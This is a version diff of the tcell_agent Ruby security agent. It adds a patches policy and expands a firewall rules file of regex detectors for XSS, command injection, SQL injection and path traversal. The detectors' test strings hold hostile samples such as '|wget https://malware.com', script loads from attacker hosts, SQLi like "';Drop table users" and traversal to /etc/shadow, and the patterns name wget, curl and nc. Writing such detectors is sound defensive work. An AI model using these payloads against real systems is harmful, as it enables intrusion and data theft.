tcell_agent 0.2.16 → 0.2.17

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: f85f2f3d36743fb454fedfe89d0405f25ba46fa4
4
- data.tar.gz: 328a8ab46597707c4305b40b707d48a004f84ac5
3
+ metadata.gz: b107a46d2c8ac57564b91097fe2c81e412469e7a
4
+ data.tar.gz: 60487a47c5ad5c02db8188748f9711a6d8a07476
5
5
  SHA512:
6
- metadata.gz: 0a7f284d81621c91f7f142ea8c1bbc3941b64de7d9c203d5d2b07def0b351c766b8fbf750e763e9d9013c02ec2a0ac9e47c722bdc19db584aa2fa0920b69a5dc
7
- data.tar.gz: 7637ca1c15dbeadc23ef5d72922d2f0e675653d0349c5ccc31dd3d2a394ec93298568047ca7a75eaeda61aca05dae252187be33e29a783e28b0b05b425ae305a
6
+ metadata.gz: 52f240c551aa5f4013301031d21570c66ec595eb6e1ac9d454b5b5ede7d649e8924a26acf8fa302c029fd81316472f5771477c2a58afa690cc23617890a39652
7
+ data.tar.gz: 34e537a766d75d51de5182a2230f66bfbbfbbd67ed34e72cd0ddb652a3bc5a60a8f7f9c86654bf02557450e202819897c66fa4f8874ec46c01dce8fb0a231700
@@ -16,6 +16,7 @@ require "tcell_agent/policies/http_redirect_policy"
16
16
  require "tcell_agent/policies/secure_headers_policy"
17
17
  require "tcell_agent/policies/honeytokens_policy"
18
18
  require "tcell_agent/policies/appsensor_policy"
19
+ require "tcell_agent/policies/patches_policy"
19
20
 
20
21
  require "tcell_agent/sensor_events/server_agent"
21
22
 
@@ -12,6 +12,7 @@ require "tcell_agent/policies/honeytokens_policy"
12
12
  require "tcell_agent/policies/appsensor_policy"
13
13
  require "tcell_agent/policies/login_fraud_policy"
14
14
  require "tcell_agent/policies/dataloss_policy"
15
+ require "tcell_agent/policies/patches_policy"
15
16
 
16
17
  module TCellAgent
17
18
  class PolicyTypes
@@ -24,6 +25,7 @@ module TCellAgent
24
25
  HoneyTokens = "exp-honeytokens"
25
26
  LoginFraud = "login"
26
27
  DataLoss = "dlp"
28
+ Patches = "patches"
27
29
 
28
30
  ClassMap = {
29
31
  CSP=>TCellAgent::Policies::ContentSecurityPolicy,
@@ -34,8 +36,9 @@ module TCellAgent
34
36
  AppSensor=>TCellAgent::Policies::AppSensorPolicy,
35
37
  HoneyTokens=>TCellAgent::Policies::HoneytokensPolicy,
36
38
  LoginFraud=>TCellAgent::Policies::LoginFraudPolicy,
37
- DataLoss=>TCellAgent::Policies::DataLossPolicy
39
+ DataLoss=>TCellAgent::Policies::DataLossPolicy,
40
+ Patches=>TCellAgent::Policies::PatchesPolicy
38
41
  }
39
42
 
40
43
  end
41
- end
44
+ end
@@ -21,7 +21,7 @@ module TCellAgent
21
21
  @rule_info = {}
22
22
 
23
23
  if File.file?(filename)
24
- rules_from_file = YAML.load(File.open(filename).read)
24
+ rules_from_file = JSON.parse(File.open(filename).read)
25
25
  rule_types = rules_from_file.fetch("sensors", {})
26
26
 
27
27
  rule_types.each do |sensor_name, sensor_config|
@@ -50,7 +50,7 @@ module TCellAgent
50
50
 
51
51
  return if pattern_id == nil or pattern == nil
52
52
 
53
- pattern_regex = Regexp.new(pattern)
53
+ pattern_regex = Regexp.new(pattern, Regexp::MULTILINE | Regexp::IGNORECASE)
54
54
  enabled = rule_dict.fetch("enabled", true)
55
55
 
56
56
  rule_pattern = AppSensorRulePattern.new(pattern_id, pattern_regex, enabled)
@@ -1,5 +1,5 @@
1
1
  {
2
- "version":"20160322",
2
+ "version":"20160516",
3
3
  "sensors":{
4
4
  "xss":{
5
5
  "patterns":[
@@ -7,43 +7,73 @@
7
7
  "title":"Basic Injection",
8
8
  "sophistication":1,
9
9
  "common": "(?:<(script|iframe|embed|frame|frameset|object|img|applet|body|html|style|layer|link|ilayer|meta|bgsound))",
10
+ "tests": {
11
+ "shouldFind":["\n\n<scRipT>document.write(1)</script>","<body onload=\"abc\">","<script>alert(123)</script>","<script>alert(\"hellox world\");</script>","9<script/src=http/attacker.com>"],
12
+ "shouldIgnore":["<h1>hi</h1>","Bob","Script"]
13
+ },
10
14
  "id": "1"
11
15
  },
12
16
  {
13
17
  "title":"Alert or Event XSS",
14
18
  "sophistication":2,
15
19
  "common": "(?:(alert|on\\w+|function\\s+\\w+)\\s*\\(\\s*(['+\\d\\w](,?\\s*['+\\d\\w]*)*)*\\s*\\))",
20
+ "tests":{
21
+ "shouldFind":["<input onmouseover='alert(1)'>","<input/onmouseover='alert(1)'>"],
22
+ "shouldIgnore":["<h1>hi</h1>","Bob","Sammy"]
23
+ },
16
24
  "id": "2"
17
25
  },
18
- {
19
- "title":"Tag Breaks",
20
- "sophistication":2,
21
- "common": "(?:\\\"[^\\\"]*[^-]?>)|(?:[^\\w\\s]\\s*\\/>)|(?:>\\\")",
22
- "id": "3"
23
- },
24
26
  {
25
27
  "title":"Attribute Breaks",
26
28
  "sophistication":3,
27
- "common": "(?:\\\"+.*[<=]\\s*\\\"[^\\\"]+\\\")|(?:\\\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\\\"\\s]*>)|(?:\\\"\\s*(?:src|style|on\\w+)\\s*=\\s*\\\")|(?:[^\\\"]?\\\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*<\\/?\\w{2,}>)",
28
- "id": "4"
29
+ "common": "(?:\\\"+.*[<=]\\s*\\\"[^\\\"]+\\\")|(?:\\\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\\\"\\s]*>)|(?:\\\"\\s*(?:src|style|on\\w+)\\s*=\\s*\\\")|(?:[^\\\"]?\\\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*<\\/?\\w{2,}>)",
30
+ "tests":{
31
+ "shouldFind":["<input src=\"b\" onmouseover=\"alert(1)\" test=\"abc\">"],
32
+ "shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
33
+ },
34
+ "id": "4"
29
35
  },
30
36
  {
31
37
  "title":"Basic Obfuscation",
32
38
  "sophistication":3,
33
39
  "common": "(?:[\\\".]script\\s*\\()|(?:\\$\\$?\\s*\\(\\s*[\\w\\\"])|(?:\\/[\\w\\s]+\\/\\.)|(?:=\\s*\\/\\w+\\/\\s*\\.)|(?:(?:this|window|top|parent|frames|self|content)\\[\\s*[(,\\\"]*\\s*[\\w\\$])|(?:,\\s*new\\s+\\w+\\s*[,;)])",
34
- "id": "5"
40
+ "tests": {
41
+ "shouldFind":[",YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\")"],
42
+ "shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
43
+ },
44
+ "id": "5"
35
45
  },
36
46
  {
37
47
  "title":"Common Concatenation",
38
48
  "sophistication":3,
39
49
  "common": "(?:=\\s*\\w+\\s*\\+\\s*\\\")|(?:\\+=\\s*\\(\\s\\\")|(?:!+\\s*[\\d.,]+\\w?\\d*\\s*\\?)|(?:=\\s*\\[s*\\])|(?:\\\"\\s*\\+\\s*\\\")|(?:[^\\s]\\[\\s*\\d+\\s*\\]\\s*[;+])|(?:\\\"\\s*[&|]+\\s*\\\")|(?:\\/\\s*\\?\\s*\\\")|(?:\\/\\s*\\)\\s*\\[)|(?:\\d\\?.+:\\d)|(?:\\]\\s*\\[\\W*\\w)|(?:[^\\s]\\s*=\\s*\\/)",
40
- "id": "6"
50
+ "tests": {
51
+ "shouldFind":["= werewr + \""],
52
+ "shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
53
+ },
54
+ "id": "6"
41
55
  },
42
56
  {
43
57
  "title":"IFrame Tag Injection",
44
58
  "sophistication":1,
45
59
  "common": "<iframe.*",
60
+ "tests": {
61
+ "shouldFind":["Sam\n<h3><iframe/src=\\\\malware.xcc/>"],
62
+ "shouldIgnore":["<h1>hi</h1>","Bob","Script"]
63
+ },
46
64
  "id": "7"
65
+ },
66
+ {
67
+ "title":"JavaScript URL",
68
+ "sophistication":1,
69
+ "common": "\\b(src|href|lowsrc|url|content)\\b\\W*?\\bjavascript:",
70
+ "tests": {
71
+ "shouldFind":["\" href=\"javascript:alert(1)\"","' url='javascript:alert(1)'","<input type=image src=javascript:","<meta http-equiv=\"refresh\" content=\"javascript:..."],
72
+ "shouldIgnore":["<h1>hi</h1>","Bob","Script"]
73
+ },
74
+ "id": "8"
75
+
76
+
47
77
  }
48
78
  ]
49
79
  },
@@ -55,13 +85,20 @@
55
85
  "sophistication":2,
56
86
  "id":"1",
57
87
  "common":"(?:[\\;\\|\\`]\\W*?\\bcc|\\b(wget|curl))\\b|\\/cc(?:[\\'\\\"\\|\\;\\`\\-\\s]|$)",
58
- "ruby":"(?i:(?:[\\;\\|\\`]\\W*?\\bcc|\\b(wget|curl))\\b|\\/cc(?:[\\'\\\"\\|\\;\\`\\-\\s]|$))"
88
+ "tests": {
89
+ "shouldFind":["|wget https://malware.com"],
90
+ "shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer"]
91
+ }
59
92
  },
60
93
  {
61
94
  "title":"Common Command Attempts",
62
95
  "sophistication":1,
63
96
  "id":"2",
64
- "common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?\\\\\\/c)|d(?:\\b\\W*?[\\\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[\\;\\|\\`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\\b)))"
97
+ "common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?\\/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[\\;\\|\\`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\b)))",
98
+ "tests": {
99
+ "shouldFind":["test|echo hi","abc;nc","`ls /etc/passwd`"],
100
+ "shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer","david;bob"]
101
+ }
65
102
  }
66
103
  ]
67
104
  },
@@ -71,7 +108,12 @@
71
108
  {
72
109
  "title":"Common Encoding Obfuscations",
73
110
  "sophistication":3,
74
- "common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
111
+ "common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
112
+ "java": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
113
+ "tests": {
114
+ "shouldFind":["') or ('1'='1--","') or ('1'='1--","1 OR '1'!=0","aa' LIKE md5(1) or '1"],
115
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
116
+ },
75
117
  "id": "1"
76
118
  },
77
119
  {
@@ -81,50 +123,80 @@
81
123
  "id": "2"
82
124
  },
83
125
  {
84
- "title":"Comment Injection",
126
+ "title":"Conditional Attempts",
127
+ "sophistication":3,
128
+ "common": "(?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[^\\s]+\\s*[^\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~])",
129
+ "tests": {
130
+ "shouldFind":["' or id= 1 having 1 #1 !"],
131
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
132
+ },
133
+ "id": "7"
134
+ },
135
+ {
136
+ "title":"Union Attempts",
137
+ "sophistication":3,
138
+ "java": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
139
+ "ruby": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
140
+ "common": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
141
+ "tests": {
142
+ "shouldFind":["‘union select all 1,2,x,x,x,x —-", "‘union select 1,2,3,x,x,x,x,@@version,x–-","‘union select UTL_INADDR.get_host_address,null,null,null,null from dual–-"],
143
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
144
+ },
145
+ "id": "8"
146
+ },
147
+ {
148
+ "title":"SQL Comment Sequence",
85
149
  "sophistication":1,
86
150
  "common": "([';]--|--[\\s\\r\\n\\v\\f]|(?:--[^-]*?-)|([^\\-&])#.*?[\\s\\r\\n\\v\\f]|;?\\\\x00)",
151
+ "tests": {
152
+ "shouldFind":["'--","1=1;\\x00"],
153
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
154
+ },
87
155
  "id": "3"
88
156
  },
89
157
  {
90
- "title":"Extraction Attempts 1",
158
+ "title":"Extraction Attempts",
91
159
  "sophistication":1,
92
160
  "common": "(?:(?:@.+=\\s*?\\(\\s*?select)|(?:\\d+\\s*?(x?or|div|like|between|and)\\s*?\\d+\\s*?[\\-+])|(?:\\/\\w+;?\\s+(?:having|and|x?or|div|like|between|and|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*?(?:drop|alter))|(?:(?:;|#|--)\\s*?(?:update|insert)\\s*?\\w{2,})|(?:[^\\w]SET\\s*?@\\w+)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*?[!=+]+[\\s\\d]*?[\\\"'`\u00b4\u2019\u2018=()]))",
161
+ "tests": {
162
+ "shouldFind":["';Drop table users"],
163
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer", "Sam; James"]
164
+ },
93
165
  "id": "4"
94
- },
95
- {
96
- "title":"Extraction Attempts 2",
97
- "sophistication":2,
98
- "pattern": "(?:(?:in\\s*?\\(+\\s*?select)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*?\\(|sounds\\s+like\\s*?[\\\"'`\u00b4\u2019\u2018]|[=\\d]+x))|([\\\"'`\u00b4\u2019\u2018]\\s*?\\d\\s*?(?:--|#))|(?:[\\\"'`\u00b4\u2019\u2018][\\%&<>^=]+\\d\\s*?(=|x?or|div|like|between|and))|(?:[\\\"'`\u00b4\u2019\u2018]\\W+[\\w+-]+\\s*?=\\s*?\\d\\W+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?\\d.+[\\\"'`\u00b4\u2019\u2018]?\\w)|(?:[\\\"'`\u00b4\u2019\u2018]\\|?[\\w-]{3,}[^\\w\\s.,]+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?[\\d.]+\\s*?\\W.*?[\\\"'`\u00b4\u2019\u2018]))",
99
- "id": "5"
100
- },
101
- {
102
- "title":"Extraction Attempts 3",
103
- "sophistication":3,
104
- "pattern": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
105
- "id": "6"
106
166
  }
107
167
  ]
108
168
  },
109
169
  "fpt":{
110
170
  "patterns":[
111
171
  {
112
- "title":"Windows Probing",
113
- "sophistication":1,
172
+ "title":"General Traversal",
173
+ "sophistication":2,
114
174
  "common": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.+)?)|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
115
175
  "ruby": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.*))|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
176
+ "tests":{
177
+ "shouldFind":["/.../.../.../.../.../","\\0../../../../../../etc/passwd","../../../../../../etc/shadow"],
178
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
179
+ },
116
180
  "id": "1"
117
181
  },
118
182
  {
119
- "title":"Unix Probing",
120
- "sophistication":1,
183
+ "title":"Common System Probing",
184
+ "sophistication":4,
121
185
  "common": "(?:%c0%ae\\/)|(?:(?:\\/|\\\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\\/|\\\\))|(?:(?:\\/|\\\\)inetpub|localstart\\.asp|boot\\.ini)",
186
+ "tests":{
187
+ "shouldFind":["/./././././././././././boot.ini","/home/apache/conf/httpd.conf"],
188
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
189
+ },
122
190
  "id": "2"
123
191
  },
124
192
  {
125
- "title":"Attempt for /etc/passwd",
193
+ "title":"Attempt for /etc/passwd, shadow",
126
194
  "sophistication":1,
127
- "common": "(?:etc\\/\\W*passwd)",
195
+ "common": "(?:etc\\/\\W*passwd)|(?:etc\\/\\W*shadow)",
196
+ "tests":{
197
+ "shouldFind":["/etc/passwd"],
198
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
199
+ },
128
200
  "id": "3"
129
201
  }
130
202
  ]
@@ -135,7 +207,12 @@
135
207
  "title":"Any Null Byte",
136
208
  "sophistication":1,
137
209
  "id":"1",
138
- "common":"\\0"
210
+ "common":"\\0",
211
+ "java":"\u0000",
212
+ "tests":{
213
+ "shouldFind":["Duh\u0000","\u0000","\n\rOh\u0000No"],
214
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
215
+ }
139
216
  }
140
217
  ]
141
218
  },
@@ -145,7 +222,11 @@
145
222
  "title":"Any Line-Break Character",
146
223
  "sophistication":1,
147
224
  "id":"1",
148
- "common":"(\\n|\\r)"
225
+ "common":"(\\n|\\r)",
226
+ "tests":{
227
+ "shouldFind":["Duh\r","\r\n","\n\rOh\\0No"],
228
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
229
+ }
149
230
  }
150
231
  ]
151
232
  }
@@ -108,6 +108,10 @@ module TCellAgent
108
108
  read_config_using_env
109
109
  read_config_from_file(@config_filename)
110
110
 
111
+ if ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"]
112
+ puts "tCell.io Agent: [DEPRECATED] TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS is deprecated, please switch to TCELL_AGENT_ALLOW_UNENCRYPTED_APPFIREWALL_PAYLOADS."
113
+ end
114
+
111
115
  # Because ENV can override this one
112
116
  env_unencrypted_firewall =
113
117
  if (ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"] != nil)
@@ -114,7 +114,6 @@ module TCellAgent
114
114
  vuln_param,
115
115
  appsensor_meta.route_id,
116
116
  {"t" => type_of_param}.to_json,
117
- appsensor_meta.transaction_id,
118
117
  appsensor_meta.session_id,
119
118
  appsensor_meta.user_id,
120
119
  vuln_value
@@ -13,7 +13,6 @@ module TCellAgent
13
13
  parameter,
14
14
  appsensor_meta.route_id,
15
15
  data,
16
- appsensor_meta.transaction_id,
17
16
  appsensor_meta.session_id,
18
17
  appsensor_meta.user_id,
19
18
  payload,
@@ -39,17 +39,20 @@ module TCellAgent
39
39
  "retr" => RetrSensor,
40
40
  "login" => LoginSensor}
41
41
 
42
- attr_accessor :policy_id, :options
42
+ attr_accessor :policy_id, :options, :enabled
43
43
 
44
44
